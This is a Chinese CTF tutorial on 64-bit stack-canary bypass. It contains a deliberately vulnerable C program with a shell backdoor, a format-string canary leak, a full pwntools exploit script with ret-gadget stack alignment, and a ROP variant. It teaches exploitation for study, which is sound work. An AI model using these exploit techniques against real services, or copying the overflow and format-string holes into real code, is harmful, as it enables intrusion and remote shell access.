刚拿到这道题的时候我第一反应是:终于从纯ret2text环境切换到有Canary保护的真实题目了。标题说得很直白——栈溢出攻击的第二篇,目标是通过后门函数拿下shell,但中间拦着一道Canary。这不是靠运气硬猜、也不是拿工具狂砸的事儿,想稳定打通,必须完整理解Canary的生成、存储和校验机制,再想办法绕过它。这篇文章我会从零开始复盘整道题的思路,把泄露Canary、计算偏移、构造ROP链直到拿到shell的完整流程讲清楚,适合已经会基本栈溢出、想进阶到Canary绕过的读者来参考。
1. 场景剖析与利用链路拆解
1.1 整道题的核心矛盾在哪
去看一眼题目给的二进制文件,很大概率是这样的逻辑:程序里有个函数直接调用了system("/bin/sh"),也就是我们常说的后门函数。但主流程函数使用的是read(0, buf, 0x100)这种危险函数,缓冲区本身只有 0x40 或者 0x50,栈溢出是明摆着的。问题在于程序开启了 Stack Canary 保护,你把返回地址改了,程序返回前会先检查Canary,对不上就直接调用__stack_chk_fail崩溃给你看。
所以这题的表面逻辑是:
- 有栈溢出 → 可以改返回地址
- 有后门函数 → 改过去就能拿到shell
- 有Canary → 直接改必死
我们要解决的就是最后一行这个矛盾。攻击的核心思路很简单——既然程序返回前要对比Canary,那我先在栈上的正确位置放一个一模一样的Canary不就行了吗?问题随之而来:Canary是程序运行期随机生成的,对攻击者来说这是未知量,必须想办法读出来。
1.2 后门函数是题目设计出来的“靶心”
很多新手拿到这种题会纠结:为什么题目里会有个直接system("/bin/sh")的函数?现实程序里哪有这么蠢的后门?
这其实是CTF出题模式的一种。后门函数可以理解为出题人预设的“利用终点”,它把最难的部分单独隔离出来——不需要你去构造ROP链调用execve,不需要你泄露libc地址,只要你能让程序跳到那里就能拿到shell。看反汇编时反复确认这个后门函数的存在和入口地址,是整个利用过程的第一步。地址找不准,后面所有工作都白费。
当然,后门函数地址能不能直接写死,取决于程序是不是开启了PIE。这题一般把PIE关掉或者没开,地址固定,我们在命令行下面写payload的时候直接写地址就行。如果开了PIE,就得多一步:泄露程序基址再计算实际地址。
1.3 完整攻击链路:先过Canary,再谈后门
理清思路后,把整条利用链路拆成五步:
- 找到栈溢出点,确定可以覆盖到返回地址;
- 找到一个信息泄露点,把栈上的Canary值读出来;
- 根据栈布局计算偏移,确定Canary在payload中的位置;
- 构造payload:填足偏移距离→写入真实Canary→覆盖返回地址为后门函数;
- 结合调试确认栈对齐问题,打通后门函数拿到shell。
链路里最关键、也最容易翻车的是第2步和第4步。第2步要求你对信息泄露漏洞足够熟悉,好一点的题目会用格式化字符串漏洞给你一个无损的读取通道;第4步则考验你对栈帧布局和ABI调用规范是否敏感。接下来我会一步步拆开讲。
2. 保护机制与绕过思路
2.1 Canary是怎么工作的:栈上的哨兵值
先别急着写payload,把Canary的底层机制弄明白,对后面调试排错非常重要。
编译时开启栈保护后,函数的序言会插入一段代码。以64位程序为例,它会把某个特定线程局部存储(如fs:[0x28])里的随机值放到栈上,通常放在返回地址和局部缓冲区之间。函数返回前,代码再次读取这个结构,把栈上的值和原始值做对比,二者不一致就调用__stack_chk_fail终止进程。
这里的细节值得多说几句。Canary本身是随机生成的,但有一个设计特点:最低位通常会是\x00。为什么?因为很多危险函数(比如gets、strcpy)会以字符串方式处理输入,遇到\x00就停下,这样即使整个缓冲区被填充,也无法进一步覆盖到返回地址。\x00相当于一层“字符串截断防线”。
栈上的布局大致是:
高地址 [ ... ] [返回地址] [保存的RBP] [Canary] ← 放在RBP下面(靠近低地址) [局部缓冲区] 低地址所以攻击者如果想把返回地址覆盖成后门函数,就一定要经过Canary这道关卡。Payload如果不能原样还原Canary,程序返回前直接崩溃。
2.2 绕过的两个前提:泄露与写回
既然Canary不可预测,暴力破解的思路也基本不可行——哪怕只有8个字节的随机值,所有可能组合太多,现实比赛里没人这么干。真正可用的思路是“先读后写”:
- 前提一:能泄露 Canary。这通常通过另一个漏洞完成,比如格式化字符串漏洞、未初始化的栈变量输出、越界读取等。
- 前提二:能写回 Canary。这要求输入函数不把
\x00截断掉。如果漏洞点用的是gets,就算你泄露了Canary,写入时遇到\x00也会停,后续内容全部失效。所以很多题会选择read这种按长度读入、不关心字符串结束符的接口,给写回留出空间。
你可能会问:为何不直接把Canary对应的输出值再原样写回去?Canary的值在进程生命周期内是固定的,同一个函数栈帧只要偏移算得对,你泄露出来的值就是它未来检查时要对比的值。
2.3 为什么说“Copy原值”是最高效的绕过
绕过Canary的思路其实有好几种,但“泄露并回写”是当前场景下最直接有效的。有人可能会想:如果我能提前把fs:[0x28]位置的值也改成我自己指定的值呢?这需要更大的漏洞能力,比如一个任意地址写漏洞,通常比泄露栈内容难得多。
还有人会想到用__stack_chk_fail这个函数本身做文章。因为__stack_chk_fail通常会打印一个smash the stack之类的消息,如果我们可以把栈上的某些字符串指针改掉,甚至控制它的参数,理论上有机会利用它。但这是另一条完全不同的利用路线,在这题里反而绕远。
实际操作中,只要题目给了信息泄露点,几乎无脑选择“泄露Canary → 写回Canary → 覆盖返回地址”这条链路。它不依赖复杂的ROP,只需要处理好偏移关系。
3. 实验环境与前期侦察
3.1 环境准备与编译手段
这种题一般在CTF里给的是一个已经编译好的二进制,不要求你重新编译。但如果你想自己搭一个模拟环境练手,可以用类似下面的源码:
#include <stdio.h> #include <stdlib.h> #include <unistd.h> // 后门函数 void backdoor() { system("/bin/sh"); } void vuln() { char buf[0x40]; printf("input: "); read(0, buf, 0x80); printf("your input: %s\n", buf); } int main() { vuln(); return 0; }编译时建议关闭PIE并且开启栈保护,这样才能逼近题目环境:
gcc -m64 -fno-pie -no-pie -fstack-protector-all -o vuln vuln.c这里的-fstack-protector-all是不管函数需不需要保护,全给插上Canary检查,用来模拟题目场景最稳妥。实际CTF题目通常用的是默认保护级别,编译器会根据局部变量布局和危险函数自动决定是否插入。
需要准备的调试工具:
file:查看二进制架构和类型checksec:查看保护机制peda或pwndbg:配合GDB调试pwntools:编写exp脚本
3.2 checksec看保护:哪些开着、哪些关了
拿到二进制第一件事就是checksec。我习惯把它输出的每一项都过一遍,而不是只盯着Canary看:
| 保护项 | 状态 | 对利用的影响 |
|---|---|---|
| Stack Canary | 开启 | 必须绕过 |
| NX | 开启 | 栈上不能执行shellcode |
| PIE | 关闭 | 后门函数地址固定 |
| RELRO | 常见Full RELRO | 不需要改GOT,暂时无所谓 |
如果看到PIE是关闭的,等于直接告诉我们:后门函数地址写死就能用。这时候用objdump -d或者IDA直接查backdoor地址。
比如反汇编可能看到:
0x0000000000401186 <backdoor+0>: push rbp 0x0000000000401187 <backdoor+1>: mov rbp,rsp 0x000000000040118a <backdoor+4>: lea rdi,[rip+0xe85] 0x0000000000401191 <backdoor+11>: call 0x401050 <system@plt>那后门地址就是0x401186。
3.3 找溢出点和Canary的位置:反汇编的关键步骤
在IDA里定位到vuln函数,反汇编大致是这个风格:
push rbp mov rbp, rsp sub rsp, 0x50 mov rax, qword ptr fs:[0x28] mov qword ptr [rbp-0x8], rax ... lea rax, [rbp-0x50] mov edx, 0x80 mov rsi, rax mov edi, 0 call read ... mov rax, qword ptr [rbp-0x8] xor rax, qword ptr fs:[0x28] jne __stack_chk_fail leave ret这个汇编里信息量很大:
sub rsp, 0x50分配了80字节栈空间;fs:[0x28]的值被放到[rbp-0x8],这个位置就是Canary;- 缓冲区起始地址是
rbp-0x50; read读入 0x80 字节,明显能覆盖整个栈帧;- 返回前对
rbp-0x8的位置做校验。
于是偏移就可以算出来:
缓冲区到Canary之间的距离是0x50 - 0x8 = 0x48字节。也就是说,我们要填0x48个垃圾字节才能接触到Canary区域,接着放8字节的Canary值,再放8字节的假RBP,最后写返回地址。
从这个反汇编还能看到一个细节:%s打印用的是printf("your input: %s\n", buf),它遇到\x00会停。而Canary最低位是\x00,所以这里其实不能用%s直接把Canary打印出来。后面的信息泄露点必须另想办法。这个我们马上细说。
4. 泄露Canary的实操
4.1 找信息漏洞:格式化字符串是最方便的通道
模拟代码里我用的是%s打印,这基本泄不出什么。要是真按这个源码走,想拿到Canary就得靠别的办法。实际CTF题里,出题人通常会在程序里再留一个格式化字符串漏洞,比如:
char fmt[0x80]; read(0, fmt, 0x70); printf(fmt);把用户输入直接当格式串用,这就是典型的格式化字符串漏洞。攻击者输入%p.%p.%p...时,程序会按格式化输出栈上的内容,其中就包含之前压栈的Canary。
为什么用%p而不用%s?因为%s会以参数所指向的地址内容为字符串打印,遇到\x00就截断,而Canary虽然低字节是\x00,但高7个字节通常是非零的随机值。如果我们用%p打印“值”本身,而不是把它当作字符串地址,就能完整打印出8字节内容。
4.2 定位Canary在第几个参数位置
格式化字符串泄露的第一步,是找出Canary对应第几个格式化参数。做法是输入一串特征标记,比如先输入AAAA.%p.%p.%p.%p.%p.%p.%p.%p,观察输出里哪里出现0x41414141,从而确定参数偏移基准。
更稳妥的做法是结合GDB。具体流程:
- 在打印函数处下断点;
- 单步步入
printf,查看栈上前几十个qword; - 记录出现Canary值的位置。
只要程序中Canary已经写入栈帧,它就会出现在栈上的固定偏移位置。常见情况下,格式化字符串第6个或第7个参数,就可能对应着rbp-0x8的Canary。这个没有统一答案,每个程序栈上的参数位置不同,必须靠调试确认。
写泄露脚本时,可以循环测很多%p,然后用正则把输出解析出来。比如:
payload = b'%p' * 50 p.sendline(payload) resp = p.recvuntil(b'\n')输出一串用0x...分隔的地址,找到后面紧跟着的、看起来像随机数的值,再用GDB交叉验证是不是Canary。
4.3 泄露后如何处理\x00
拿到完整的Canary值以后,写exp时要注意一个细节:Canary最低位是\x00,比如实际值是0x25a3f0b8f9a21f00。在Python的字节串里,写入这个8字节值时,最后一个字节确实是\x00,这没有问题,因为read不关心\x00是否出现,它只按长度读取。
但如果有人惯性用了str(n) + '\x00'这种不严谨的写法,就是在给自己挖坑。正确做法是把整数用p64()打包:
canary = int(match.group(1), 16) payload = b'A' * 0x48 + p64(canary)p64会把整数按小端序打包成8字节,该是\x00的地方自然就是\x00。这就是平时总说的“写Canary时别怕\x00,该写就写”。
5. 构造ROP链并执行后门函数
5.1 栈布局确认:偏移怎么算才稳
在写最终payload之前,我习惯于用GDB打断点验证一次栈布局。最直观的办法是:
gdb-peda$ b *0x4011bc # 假设这是read调用后的下一条指令 gdb-peda$ r gdb-peda$ x/20gx $rbp-0x70观察内存,能清楚看到:
0x7ffffffde10: 0x4141414141414141 <- buf开始 0x7ffffffde18: 0x4141414141414141 ... 0x7ffffffde50: 0x4b6d9ac12345f100 <- canary,注意末字节是0 0x7ffffffde58: 0x00007ffffffde60 <- 保存的RBP 0x7ffffffde60: 0x0000000000401234 <- 返回地址这个画面和反汇编里的偏移完全对上了。实战中,如果你用IDA看是rbp-0x50,用GDB看到的实际内存地址则会带上运行时地址,但相对偏移不变。
很多新手算偏移会搞混“缓冲区到返回地址的距离”和“缓冲区到Canary的距离”。注意:在这道题的payload里,我们需要的是“到Canary的距离 = 0x48”,然后写Canary,再填充一个RBP长度,最后写返回地址。如果算错8字节,程序会在Canary检查处直接爆掉。
5.2 写出exp脚本:逐步拆解
以下是一个通用化的exp模板,以64位、后门函数地址0x401186为例:
from pwn import * context.arch = 'amd64' context.log_level = 'debug' p = process('./vuln') # 如果远程 # p = remote('127.0.0.1', 10001) # ===== 第一步:泄露Canary ===== p.recvuntil(b'input:') p.send(b'%7$p') # 以实际调试为准,找到对应canary的参数位置 leak = p.recvline().strip() canary = int(leak, 16) log.success(f'canary: {hex(canary)}') # ===== 第二步:构造溢出payload ===== payload = b'A' * 0x48 # 填充到Canary payload += p64(canary) # 原样写回Canary payload += b'B' * 8 # 覆盖保存的RBP,内容随意 payload += p64(0x401186) # 覆盖返回地址为后门函数 p.recvuntil(b'overflow:') p.send(payload) # ===== 第三步:交互拿到shell ===== p.interactive()这一步的payload构造逻辑是边界清晰的:
- 前
0x48字节填满缓冲区和局部变量区域; - 写入真实Canary,通过检查;
- RBP填充值我们并不关心,程序不会在
leave; ret之后使用旧的RBP; - 返回地址改成后门函数入口。
5.3 64位下必须警惕的栈对齐问题
如果你按上面这个脚本直接打64位题目,很可能发现一个诡异现象:程序没有跳到后门函数,而是在system内部崩溃了,或者直接SIGSEGV。这大概率是栈对齐问题。
64位System V ABI要求调用函数前栈指针16字节对齐。main调用vuln时栈是对齐的,我们覆盖返回地址跳转到backdoor时,如果栈指针没有满足16字节对齐条件,system内部一旦使用需要对齐的SSE指令就可能崩溃。
解决办法很经典:在返回地址前面多加一个retgadget。
ret_gadget = 0x0000000000401016 # 用ROPgadget找 payload = b'A' * 0x48 + p64(canary) + b'B' * 8 + p64(ret_gadget) + p64(0x401186)多加的这条ret指令会把栈指针再挪8字节,让进入backdoor时的栈对齐恢复到正确状态。不要小看这一条ret,我当年第一次刷这类题时,本地payload死活打不通,加了ret才明白怎么回事。
判断是否需要栈对齐,有三个标志:
- 目标是64位程序;
- 后门函数内部调用了libc函数,而不是简单
execve; - 崩溃位置在libc内而不是跳转瞬间。
碰到这种情况,先怀疑对齐,再考虑其他问题。
5.4 后门函数里没有shell怎么办:备选思路
题目如果给的后门函数是类似int backdoor(char *cmd)这种,需要你自己在ROP链里传参数,那就得加ROP gadget了。常见操作是找pop rdi; ret,然后在payload里这样组织:
填充 + canary + 填充rbp + pop_rdi_ret + binsh_addr + system_addr不过这道题明确是“通过后门函数拿到shell”,那标准答案大概率就是直接跳backdoor,不需要自己拼系统调用。这个备选思路放在这里,是为了让你遇到变种题时不至于手足无措。
6. 常见问题与排查技巧实录
6.1 踩坑实录:啪啪报stack_chk_fail怎么办
如果程序输出类似*** stack smashing detected ***然后退出,说明Canary校验没过。排查方向按优先级排列:
- 确认Canary是否是从同一个进程里泄露出来的。有些调试脚本先本地跑了一次打印Canary,再正式跑就换了一个进程,值当然对不上。泄露和利用必须在同一连接/同一进程内完成。
- 确认payload中Canary位置是否正确。偏移多8、少8都会导致校验失败。
- 注意字节序:
p64的小端序不能自己手工倒转。 - 确认打印出来的值是否被截断。比如
recvuntil没等到完整的一行,高位字节缺失,导致解析出来的Canary不完整。
6.2 本地通远程挂的排查
这是PWN题最常见的痛苦来源。本地会通,远程就SIGSEGV,一般几个原因:
- 远程libc版本不同,但纯跳后门函数一般不涉及libc版本,影响较小;
- 服务端每次连接是fork出来还是execve重新启动?如果是fork,Canary会继承父进程,多线程或多连接场景下可以先用一次连接泄露Canary,再用第二个连接写同一个值;但如果是execve类型,每次都重新生成Canary,所有操作必须在同一连接内完成;
- 题目程序开启了PIE,但本地习惯性用了固定地址。这种翻车非常隐蔽,本地怎么打怎么通,远程一打就崩,因为远程二进制地址随机化了。
我自己的排查顺序:先看远程和本地是不是同一个二进制,再查PIE,最后用checksec的输出逐一对比。
6.3 泄露Canary的偏移会变吗
很多新手在本地调试时,用某个%p位置成功打出Canary,觉得万事大吉。但远程环境栈布局可能有细微差别:比如远程环境变量更少、启动参数不同、或者程序是用inetd启动的,栈上内容会多几项。参数偏移可能会漂移。
稳妥的办法不是一次性硬编码偏移,而是让exp先发一串%n$p探测Canary,或者通过特征值定位。比如先在程序栈上放一个已知的0x41414141,再根据它的位置推断Canary所在的参数编号。这个技巧在处理不同环境的题目时非常管用。
6.4 调试技巧拾遗
几个高频调试命令和手法,写在这里直接备忘:
# 查看Canary在内存中的样子 gdb-peda$ x/gx $rbp-0x8 # 查看字符串格式化栈偏移 gdb-peda$ p/x *(char **)$rsp+offset # 快速生成填充串,找偏移 cyclic 100 cyclic -l faaa还有一个经验:在read调用后、打印之前下断点,然后填入一段带大量A的输入,再观察栈上哪里出现了0x41,顺着这个位置往上数,很容易定位Canary。
6.5 打通的瞬间别急着开心
拿到shell之后记得先执行一下whoami或者id,确认交互真的正常。有时候你打到了后门函数,但它执行到一半因为环境问题卡住了,shell并没有真正起来。这时候检查:
- 是不是没有使用
p.interactive(),导致输入输出没有转发到终端; - 是不是
context.log_level设的太高,遮挡了实际交互输出; - 是不是目标环境里
/bin/sh指向了奇怪的shell,运行后立刻退出。
这些小问题不致命,但会浪费你几分钟去发呆排查。
我个人在实操中还有一个体会:这类题目真正考验你的不是“把地址往payload里一填”,而是你调试时有没有耐心把整个栈帧的每个值都看明白。泄露Canary本身不难,难的是你在一堆随机数里认出哪个是Canary,并且知道它为什么会出现在那个位置。多做几道带Canary的题,你的GDB操作会熟练很多,后面遇到更复杂的绕过技术(比如Partial Overwrite、ROP绕过Canary)时,基本功的优势就体现出来了。写exp的时候养成一个习惯:每改一个偏移,先在本地完整跑通一遍,再考虑打远程,这样能省掉大量出问题后的猜测时间。